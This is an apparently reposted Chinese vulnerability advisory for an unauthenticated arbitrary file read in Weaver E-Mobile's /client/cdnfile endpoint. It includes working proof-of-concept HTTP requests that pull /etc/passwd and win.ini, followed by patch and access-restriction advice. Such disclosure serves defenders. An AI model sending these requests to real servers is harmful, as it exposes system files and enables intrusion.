【文件读取】泛微E-Mobile-client/cdnfile

admin 2024年9月19日11:43:12评论34 views字数 1186阅读3分57秒阅读模式
漏洞描述

泛微E-Mobile是一款移动办公解决方案,由上海泛微网络科技股份有限公司专业研发。这款软件旨在为手机、平板电脑等移动终端用户提供便捷的办公体验。在/client/cdnfile接口存在任意文件读取漏洞,攻击者可以未授权下载服务器上任意文件,造成信息泄露。
【文件读取】泛微E-Mobile-client/cdnfile
漏洞复现

漏洞URL:

/client/cdnfile/C/etc/passwd?linux

/client/cdnfile/1C/Windows/win.ini?windows

漏洞参数:无

漏洞详情:

1、打开自己的服务

【文件读取】泛微E-Mobile-client/cdnfile

2、Windows和Linux系统POC不同,使用POC进行验证

Linux:

GET /client/cdnfile/C/etc/passwd?linux HTTP/1.1Host: 192.168.3.11:8731User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: close

Windows:

GET /client/cdnfile/1C/Windows/win.ini?windows HTTP/1.1Host: 192.168.3.11:8731User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: close

3、漏洞利用成功

【文件读取】泛微E-Mobile-client/cdnfile

修复建议

临时解决

接口设置访问权限或限制访问来源地址,如非必要,不要将系统开放在互联网上。

修复方案

安装升级补丁https://www.weaver.com.cn/cs/mobileDownload.html

【文件读取】泛微E-Mobile-client/cdnfile
——The  End——

原文始发于微信公众号(小羊安全屋):【文件读取】泛微E-Mobile-client/cdnfile

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月19日11:43:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【文件读取】泛微E-Mobile-client/cdnfilehttps://cn-sec.com/archives/3182931.html

发表评论

匿名网友 填写信息